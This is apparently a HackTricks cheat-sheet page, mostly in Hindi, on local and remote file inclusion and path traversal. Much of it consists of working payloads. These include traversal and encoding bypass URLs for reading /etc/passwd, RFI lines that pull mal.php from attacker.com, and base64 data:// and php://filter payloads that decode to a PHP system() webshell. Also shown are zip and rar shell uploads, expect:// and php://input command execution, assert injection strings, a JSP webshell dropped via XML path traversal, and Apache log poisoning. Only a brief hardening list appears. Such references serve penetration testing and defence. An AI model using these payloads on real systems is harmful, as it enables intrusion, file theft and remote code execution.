File Inclusion/Path traversal

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

File Inclusion

Remote File Inclusion (RFI): फाइल रिमोट सर्वर से लोड होती है (सबसे अच्छा: आप कोड लिख सकते हैं और सर्वर उसे चलाएगा)। PHP में यह डिफ़ॉल्ट रूप से disabled है (allow_url_include).
Local File Inclusion (LFI): सर्वर एक लोकल फ़ाइल लोड करता है।

यह vulnerability तब होती है जब user किसी तरह उस फ़ाइल को नियंत्रित कर सकता है जिसे सर्वर द्वारा लोड किया जाना है।

कमज़ोर PHP functions: require, require_once, include, include_once

इस vulnerability को exploit करने के लिए एक उपयोगी tool: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

कई *nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाया है:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

इसे भी आज़माएँ: / को \ से बदलकर देखें
इसे भी जोड़कर देखें: ../../../../../

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

Merge of different wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

इसे भी आज़माएँ: / को \ से बदलकर देखें
इसे भी आज़माएँ: C:/ हटाकर ../../../../../ जोड़ें

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

Linux की LFI सूची देखें।

Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences गैर-पुनरावर्ती रूप से हटाए गए

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

प्रदान की गई स्ट्रिंग के अंत में अतिरिक्त वर्ण जोड़ने के प्रयास को बायपास करें (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 से हल हो चुका है

एन्कोडिंग

आप गैर-मानक एन्कोडिंग्स जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

आधुनिक HTML-to-PDF engines (उदा. TCPDF या wrappers जैसे html2pdf) attacker-provided HTML, SVG, CSS, और font URLs को आसानी से parse करते हैं, फिर भी ये trusted backend networks के अंदर filesystem access के साथ चलते हैं। एक बार जब आप $pdf->writeHTML()/Html2Pdf::writeHTML() में HTML inject कर सकें, तो आप अक्सर उन local files को exfiltrate कर सकते हैं जिन्हें web server account पढ़ सकता है।

  • Fingerprint the renderer: हर generated PDF में एक Producer फ़ील्ड होती है (उदा. TCPDF 6.8.2)। exact build जानने से आपको पता चलता है कि कौन से path filters मौजूद हैं और क्या URL decoding validation से पहले होता है।
  • Inline SVG payloads: TCPDF::startSVGElementHandler() <image> elements से xlink:href attribute को urldecode() चलाने से पहले पढ़ता है। एक malicious SVG को data URI के अंदर embed करने से कई HTML sanitizers payload को ignore कर देते हैं जबकि TCPDF फिर भी उसे parse कर लेता है:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF उन पाथ्स के शुरूआत में / होने पर $_SERVER['DOCUMENT_ROOT'] जोड़ता है और बाद में ही .. को हल करता है, इसलिए prepend के बाद root से बाहर निकलने के लिए या तो अग्रिम ../../.. segments या /../../.. का इस्तेमाल करें।

  • Encoding to bypass naive filters: Versions ≤6.8.2 केवल literal substring ../ की जाँच करते हैं URL decode करने से पहले। SVG में या raw <img src> attribute में ..%2f (या ..%2F) भेजने से चेक बायपास हो जाता है, क्योंकि traversal dot-dot-slash sequence केवल TCPDF द्वारा urldecode() कॉल करने के बाद ही पुनः बनता है।
  • Double-encoding for multi-stage decoding: अगर user input पहले web framework द्वारा और फिर TCPDF द्वारा decode होता है, तो slash को double-encode करें (%252f)। एक decode उसे %2f में बदल देता है, TCPDF में दूसरा decode इसे / में बदल देता है, जिससे /..%252f../../../../… बनता है बिना early filter को कभी ../ दिखाए।
  • HTML <img> handler: TCPDF::openHTMLTagHandler() में वही order-of-operations bug है, जो सीधे HTML payloads जैसे src="%2f..%252f..%252ftmp%252fsecret.png" को किसी भी locally reachable bitmap पढ़ने की अनुमति देता है।

This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners ने इसे 6.9.1 में canonicalising paths (isRelativePath()) करके फिक्स कर दिया, इसलिए परीक्षणों के दौरान पुराने Producer versions को प्राथमिकता दें।

मौजूदा फ़ोल्डर से

शायद बैकएंड फ़ोल्डर पथ की जाँच कर रहा है:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

सर्वर पर फ़ाइल सिस्टम निर्देशिकाएँ खोजना

सर्वर के फ़ाइल सिस्टम को कुछ तकनीकों का उपयोग करके पुनरावर्ती रूप से खोजा जा सकता है ताकि केवल फ़ाइलों ही नहीं बल्कि निर्देशिकाएँ भी पहचानी जा सकें। यह प्रक्रिया निर्देशिका की गहराई निर्धारित करने और विशिष्ट फ़ोल्डरों के अस्तित्व की जाँच करने पर आधारित है। नीचे इसे हासिल करने का विस्तृत तरीका दिया गया है:

  1. Determine Directory Depth: /etc/passwd फ़ाइल को सफलतापूर्वक प्राप्त करके अपनी वर्तमान निर्देशिका की गहराई निर्धारित करें (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस तरह संरचित हो सकता है, जो गहराई तीन दर्शाता है:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. फ़ोल्डरों के लिए जांच: संदिग्ध फ़ोल्डर का नाम (उदा., private) URL में जोड़ें, फिर /etc/passwd पर वापस जाएँ। अतिरिक्त डायरेक्टरी लेवल के कारण depth को एक से बढ़ाना होगा:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. परिणामों की व्याख्या करें: सर्वर की प्रतिक्रिया यह बताती है कि फ़ोल्डर मौजूद है या नहीं:
  • त्रुटि / कोई आउटपुट नहीं: निर्दिष्ट स्थान पर private फ़ोल्डर संभवतः मौजूद नहीं है।
  • /etc/passwd की सामग्री: private फ़ोल्डर की उपस्थिति की पुष्टि होती है।
  1. पुनरावर्ती अन्वेषण: खोजे गए फ़ोल्डरों की आगे सबडायरेक्टरीज़ या फ़ाइलों के लिए वही तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग करके और जांच की जा सकती है।

फ़ाइल सिस्टम में अलग-अलग स्थानों पर डायरेक्टरीज़ का अन्वेषण करते समय payload को उपयुक्त रूप से समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि /var/www/ में private डायरेक्टरी है या नहीं (मानते हुए कि वर्तमान डायरेक्टरी गहराई 3 पर है), उपयोग करें:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation एक तरीका है जो वेब एप्लिकेशन में file paths को manipulate करने के लिए उपयोग किया जाता है। अक्सर इसका इस्तेमाल restricted files तक पहुँचने के लिए किया जाता है, जब कुछ security measures फ़ाइल path के अंत में अतिरिक्त characters जोड़ते हैं। उद्देश्य यह है कि ऐसा एक file path तैयार किया जाए जो security measure द्वारा बदला जाने पर भी अपेक्षित फ़ाइल की ओर इशारा करे।

In PHP, file system की प्रकृति के कारण फ़ाइल पथ के विभिन्न representations समान माने जा सकते हैं। उदाहरण के लिए:

  • /etc/passwd, /etc//passwd, /etc/./passwd, और /etc/passwd/ सभी को समान पथ माना जाता है।
  • जब अंतिम 6 characters passwd हों, तो उसके बाद / जोड़ने पर (passwd/) लक्षित फ़ाइल नहीं बदलती।
  • इसी तरह, अगर किसी फ़ाइल पथ के अंत में .php जुड़ता है (जैसे shellcode.php), तो अंत में /. जोड़ने से एक्सेस की जा रही फ़ाइल नहीं बदलती।

प्रदत्त उदाहरण दिखाते हैं कि /etc/passwd जैसी संवेदनशील सामग्री (उपयोगकर्ता खाते की जानकारी) वाली सामान्य लक्षित फ़ाइल तक पहुँचने के लिए path truncation का कैसे उपयोग किया जा सकता है:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

इन परिदृश्यों में, आवश्यक traversals की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर बदल सकती है।

  • Using Dot Segments and Additional Characters: Traversal sequences (../) को अतिरिक्त dot segments और characters के साथ मिलाकर file system में नेविगेट करने के लिए उपयोग किया जा सकता है, जिससे server द्वारा जोड़ी गई appended strings को प्रभावी रूप से अनदेखा किया जा सके।
  • Determining the Required Number of Traversals: trial-and-error के माध्यम से, कोई व्यक्ति उस सटीक संख्या का पता लगा सकता है जितनी ../ sequences की आवश्यकता होती है root directory तक और फिर /etc/passwd तक नेविगेट करने के लिए, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे .php) को neutralize किया गया है पर इच्छित path (/etc/passwd) बरकरार रहे।
  • Starting with a Fake Directory: सामान्य प्रैक्टिस यह है कि path की शुरुआत एक non-existent directory (जैसे a/) से की जाए। यह technique सावधानी के तौर पर या server के path parsing logic की आवश्यकताओं को पूरा करने के लिए प्रयोग की जाती है।

जब path truncation techniques का उपयोग किया जाए, तो server के path parsing व्यवहार और filesystem संरचना को समझना अत्यंत महत्वपूर्ण है। हर परिदृश्य के लिए अलग approach की आवश्यकता हो सकती है, और सबसे प्रभावी method खोजने के लिए अक्सर परीक्षण आवश्यक होता है।

यह vulnerability PHP 5.3 में ठीक की गई थी।

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php में यह डिफ़ॉल्ट रूप से निष्क्रिय रहता है क्योंकि allow_url_include Off. यह काम करने के लिए On होना चाहिए, और ऐसी स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल करके RCE प्राप्त कर सकते हैं:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारण से allow_url_include On है, लेकिन PHP बाहरी वेबपेजों तक पहुँच filtering कर रहा है, according to this post, आप उदाहरण के लिए data protocol के साथ base64 का उपयोग करके b64 PHP code को decode करके egt RCE कर सकते हैं:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

पिछले कोड में, आखिरी +.txt इसलिए जोड़ा गया था क्योंकि attacker को ऐसी string चाहिए थी जो .txt पर खत्म होती हो, इसलिए string इसका अंत उससे होता है और b64 decode के बाद वह हिस्सा सिर्फ बेकार लौटाएगा और असली PHP code शामिल (और इसलिए निष्पादित) किया जाएगा।

एक अन्य उदाहरण php:// protocol का उपयोग नहीं करने वाला होगा:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python मूल तत्व

python में ऐसे कोड में:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता absolute path को file_name में पास करता है, तो previous path सिर्फ हटा दिया जाता है:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

यह अपेक्षित व्यवहार है the docs के अनुसार:

यदि कोई component एक absolute path है, तो पिछले सभी components हटा दिए जाते हैं और जोड़ना absolute path component से जारी रहता है।

Java निर्देशिकाओं की सूची

ऐसा लगता है कि यदि आपके पास Java में Path Traversal है और आप एक file की बजाय किसी directory के लिए अनुरोध करते हैं, तो directory की सूची लौटाई जाती है। यह अन्य भाषाओं में नहीं होगा (afaik).

शीर्ष 25 पैरामीटर

यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) vulnerabilities के प्रति संवेदनशील हो सकते हैं (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters डेटा पढ़े या लिखा जाने से पहले डेटा पर बुनियादी संशोधन क्रियाएँ करने की अनुमति देते हैं। फ़िल्टरों की 5 श्रेणियाँ हैं:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: डेटा से टैग हटा देता है ( “<” और “>” कैरेक्टर्स के बीच सब कुछ)
  • ध्यान दें कि यह फ़िल्टर आधुनिक PHP वर्शन से गायब हो चुका है
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : किसी अलग encoding में रूपांतरित करता है (convert.iconv.<input_enc>.<output_enc>). समर्थित सभी encodings की सूची पाने के लिए कंसोल में चलाएँ: iconv -l

Warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, जो मनमाना टेक्स्ट लिखने के लिए या include जैसी किसी फ़ंक्शन को मनमाना टेक्स्ट प्रोसेस कराने के काम आ सकता है। अधिक जानकारी के लिए देखें LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: सामग्री को compress करता है (यदि बहुत सारा info exfiltrating कर रहे हों तो उपयोगी)
  • zlib.inflate: डेटा को decompress करता है
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Other Filters
  • php में var_dump(stream_get_filters()); चलाने पर आप कुछ अनपेक्षित फ़िल्टर पा सकते हैं:
  • consumed
  • dechunk: HTTP chunked encoding को उलटता है
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

The part “php://filter” is case insensitive

Using php filters as oracle to read arbitrary files

In this post में एक तकनीक प्रस्तावित की गई है जिससे सर्वर से आउटपुट वापस मिले बिना एक local file पढ़ा जा सकता है। यह तकनीक एक boolean exfiltration of the file (char by char) using php filters पर आधारित है और php filters को एक oracle की तरह उपयोग करती है। इसका कारण यह है कि php filters का उपयोग टेक्स्ट को इतना बड़ा करने के लिए किया जा सकता है कि php एक exception फेंक दे।

Original post में आप तकनीक की विस्तृत व्याख्या पा सकते हैं, पर यहाँ एक संक्षेप है:

  • codec UCS-4LE का उपयोग करें ताकि टेक्स्ट के leading character को पहले छोड़ा जा सके और string का आकार घातांकीय रूप से बढ़े।
  • जब initial letter सही अनुमानित हो जाएगा तो यह इतना बड़ा टेक्स्ट जनरेट करेगा कि php एक error ट्रिगर कर देगा।
  • dechunk filter पहले char hexadecimal न होने पर सब कुछ remove कर देगा, इसलिए हम जान सकते हैं कि पहले char hex है या नहीं।
  • यह, पिछले बिंदु के साथ मिलकर (और guessed letter पर निर्भर अन्य filters के साथ), हमें टेक्स्ट की शुरुआत के एक अक्षर को अनुमान लगाने की अनुमति देता है यह देखकर कि कब हम पर्याप्त transformations करते हैं जिससे वह hexadecimal character न रह जाए। क्योंकि अगर hex है तो dechunk उसे delete नहीं करेगा और initial bomb php error ट्रिगर कर देगा।
  • codec convert.iconv.UNICODE.CP930 हर letter को अगले letter में बदल देता है (तो इस codec के बाद: a -> b)। इससे हम पता लगा सकते हैं कि पहला letter उदाहरण के लिए a है क्योंकि अगर हम इस codec को 6 बार लागू करें तो a->b->c->d->e->f->g हो जाता है और वह letter अब hexadecimal character नहीं रहता, इसलिए dechunk उसे delete नहीं करेगा और php error initial bomb के साथ trigger होगा।
  • शुरुआत में rot13 जैसे अन्य transformations का उपयोग करके n, o, p, q, r जैसे अन्य chars को भी leak किया जा सकता है (और अन्य codecs का उपयोग अन्य letters को hex रेंज में ले जाने के लिए किया जा सकता है)।
  • जब initial char एक number हो तो उसे base64 encode करना आवश्यक होता है और number को leak करने के लिए पहले 2 letters को leak करना पड़ता है।
  • अंतिम समस्या यह है कि initial letter से अधिक कैसे leak किया जाए। order memory filters जैसे convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE का उपयोग करके chars के order को बदलना और टेक्स्ट के अन्य letters को पहले position में लाना संभव है।
  • और आगे का data प्राप्त करने के लिए विचार यह है कि शुरुआत में convert.iconv.UTF16.UTF16 से दो बाइट का junk data जनरेट करें, फिर UCS-4LE लागू करके उसे अगले 2 बाइट के साथ pivot करें, और junk data तक डेटा को delete करें (यह initial text के पहले 2 बाइट्स को हटा देगा)। इसे उस bit तक पहुँचने तक जारी रखें जिसे आप leak करना चाहते हैं।

Post में इसको ऑटोमेट करने के लिए एक tool भी leak किया गया था: php_filters_chain_oracle_exploit.

php://fd

यह wrapper process द्वारा open file descriptors तक access करने की अनुमति देता है। Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

आप भी php://stdin, php://stdout and php://stderr का उपयोग करके क्रमशः file descriptors 0, 1 and 2 तक पहुँच सकते हैं (यह किसी attack में कैसे उपयोगी हो सकता है, निश्चित नहीं)

zip:// and rar://

एक Zip या Rar फाइल अपलोड करें जिसमें PHPShell अंदर हो और उसे एक्सेस करें.
rar protocol का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना आवश्यक है.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन allow_url_open और allow_url_include द्वारा प्रतिबंधित है

expect://

Expect को सक्रिय होना चाहिए। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

अपने payload को POST parameters में निर्दिष्ट करें:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

एक .phar फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोड करने के लिए include जैसे फ़ंक्शन का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक .phar फ़ाइल बनाने का प्रदर्शन करता है:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar फ़ाइल को संकलित करने के लिए, निम्नलिखित कमांड को निष्पादित किया जाना चाहिए:

php --define phar.readonly=0 create_path.php

चलाने पर, एक फ़ाइल जिसका नाम test.phar होगा बनाया जाएगा, जिसे संभावित रूप से Local File Inclusion (LFI) कमजोरियों का फायदा उठाने के लिए इस्तेमाल किया जा सकता है।

ऐसे मामलों में जहाँ LFI केवल फ़ाइल पढ़ता है और भीतर के PHP कोड को निष्पादित नहीं करता — जैसे कि file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), या filesize() जैसी फ़ंक्शनों के माध्यम से — तो deserialization vulnerability का शोषण करने की कोशिश की जा सकती है। यह कमजोरी phar प्रोटोकॉल के उपयोग से फ़ाइलों के पढ़ने से जुड़ी है।

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

यह संभव था कि any arbitrary file read from PHP that supports php filters का दुरुपयोग करके RCE प्राप्त किया जा सके। विस्तृत विवरण found in this post.
बहुत संक्षेप में: PHP heap में एक 3 byte overflow का दुरुपयोग करके किसी विशेष आकार के free chunks की chain को alter the chain of free chunks किया गया ताकि किसी भी address में write anything in any address किया जा सके, इसलिए system को कॉल करने के लिए एक hook जोड़ा गया।
अधिक php filters का दुरुपयोग करके specific sizes के chunks को alloc करना संभव था।

और प्रोटोकॉल

यहाँ और संभावित protocols to include here** देखें:**

  • php://memory and php://temp — मेमोरी में या एक temporary फ़ाइल में लिखें (यह file inclusion attack में कैसे उपयोगी हो सकता है, सुनिश्चित नहीं)
  • file:// — स्थानीय फ़ाइल सिस्टम तक पहुँच
  • http:// — HTTP(s) URLs तक पहुँच
  • ftp:// — FTP(s) URLs तक पहुँच
  • zlib:// — कम्प्रेशन स्ट्रीम्स
  • glob:// — pattern से मेल खाने वाले pathnames खोजें (यह कुछ भी printable वापस नहीं करता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
  • ssh2:// — Secure Shell 2
  • ogg:// — ऑडियो स्ट्रीम्स (arbitrary files पढ़ने के लिए उपयोगी नहीं)

LFI via PHP’s ‘assert’

PHP में ‘assert’ फ़ंक्शन से सम्बंधित मामलों में Local File Inclusion (LFI) का जोखिम विशेष रूप से अधिक होता है, क्योंकि यह strings के भीतर code को execute कर सकता है। यह विशेष रूप से समस्या तब बनती है जब ऐसा input जिसमें directory traversal characters जैसे “..” होते हैं, चेक किया जाता है पर सही तरीके से sanitize नहीं किया जाता।

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

जबकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में code injection के लिए एक वेक्टर बना देता है। फ़ाइल की सामग्री पढ़ने के लिए इसका शोषण करने हेतु, एक attacker उपयोग कर सकता है:

' and die(highlight_file('/etc/passwd')) or '

इसी तरह, arbitrary system commands को execute करने के लिए, कोई उपयोग कर सकता है:

' and die(system("id")) or '

यह महत्वपूर्ण है कि URL-encode these payloads.

PHP Blind Path Traversal

Warning

यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप control करते हैं उस file path का जो एक PHP function को दिया जाता है और जो किसी फ़ाइल को access a file करेगा, पर आप फ़ाइल की सामग्री नहीं देख पाएंगे (जैसे एक साधारण कॉल file()) और सामग्री दिखाई नहीं जाती।

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

सारांश के तौर पर, तकनीक “UCS-4LE” encoding का उपयोग करती है ताकि फ़ाइल की सामग्री इतनी big हो जाए कि फ़ाइल खोलने वाला PHP function opening एक error ट्रिगर कर दे।

फिर, पहले char को leak करने के लिए filter dechunk का उपयोग किया जाता है साथ ही अन्य जैसे base64 या rot13, और अंत में filters convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग करके place other chars at the beggining and leak them

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

जब server-side कोड जो फाइलें ingest/upload करता है destination path को user-controlled डेटा (जैसे filename या URL) से बनाता है बिना इसे canonicalise और validate किए, तो .. segments और absolute paths intended directory से बाहर निकलकर arbitrary file write कर सकते हैं। अगर आप payload को किसी web-exposed directory में रख पाते हैं, तो आमतौर पर वेबशेल drop करके आप बिना authentication के RCE प्राप्त कर लेते हैं।

Typical exploitation workflow:

  • किसी endpoint या background worker में write primitive पहचानें जो path/filename स्वीकार करता है और disk पर content लिखता है (जैसे message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
  • web-exposed directories निर्धारित करें। सामान्य उदाहरण:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • ऐसा traversal path तैयार करें जो intended storage directory से webroot में निकल जाए, और अपनी webshell सामग्री शामिल करें।
  • dropped payload पर ब्राउज़ करके कमांड निष्पादित करें।

Notes:

  • वह vulnerable service जो write करता है, non-HTTP port पर सुन सकता है (उदा., एक JMF XML listener on TCP 4004)। मुख्य वेब पोर्टल (अलग port) बाद में आपका payload सर्व करेगा।
  • Java stacks पर, ये file writes अक्सर simple File/Paths concatenation से लागू होते हैं। canonicalisation/allow-listing का अभाव मुख्य कमी है।

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening that defeats this class of bugs:

  • पथ को canonical में resolve करें और लागू करें कि यह allow-listed base directory का descendant हो।
  • .., absolute roots, या drive letters वाले किसी भी पथ को reject करें; जनरेट किए गए फ़ाइल नामों को प्राथमिकता दें।
  • writer को low-privileged account के रूप में चलाएँ और write directories को served roots से अलग रखें।

Remote File Inclusion

पहले समझाया गया है, follow this link.

Via Apache/Nginx log file

यदि Apache या Nginx server include फ़ंक्शन के अंदर LFI के प्रति असुरक्षित है, तो आप कोशिश कर सकते हैं कि /var/log/apache2/access.log or /var/log/nginx/access.log तक पहुँचें, user agent या किसी GET parameter के अंदर एक php shell जैसे <?php system($_GET['c']); ?> सेट करें और उस फ़ाइल को include करें

Warning

ध्यान दें कि if you use double quotes for the shell instead of simple quotes, double quotes स्ट्रिंग “quote;” में बदल दी जाएँगी, वहाँ PHP एक error देगा और कुछ भी execute नहीं होगा

साथ ही, सुनिश्चित करें कि आप payload को सही तरीके से लिखें नहीं तो PHP हर बार जब यह log फ़ाइल लोड करने की कोशिश करेगा error देगा और आपको दूसरी बार का मौका नहीं मिलेगा।

यह अन्य logs में भी किया जा सकता है पर सावधान रहें, logs के अंदर का code URL encoded हो सकता है और इससे Shell नष्ट हो सकता है। header authorisation “basic” में Base64 में “user:password” होता है और यह logs के अंदर decode होता है। PHPShell को इस header के अंदर insert किया जा सकता है.
Other possible log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
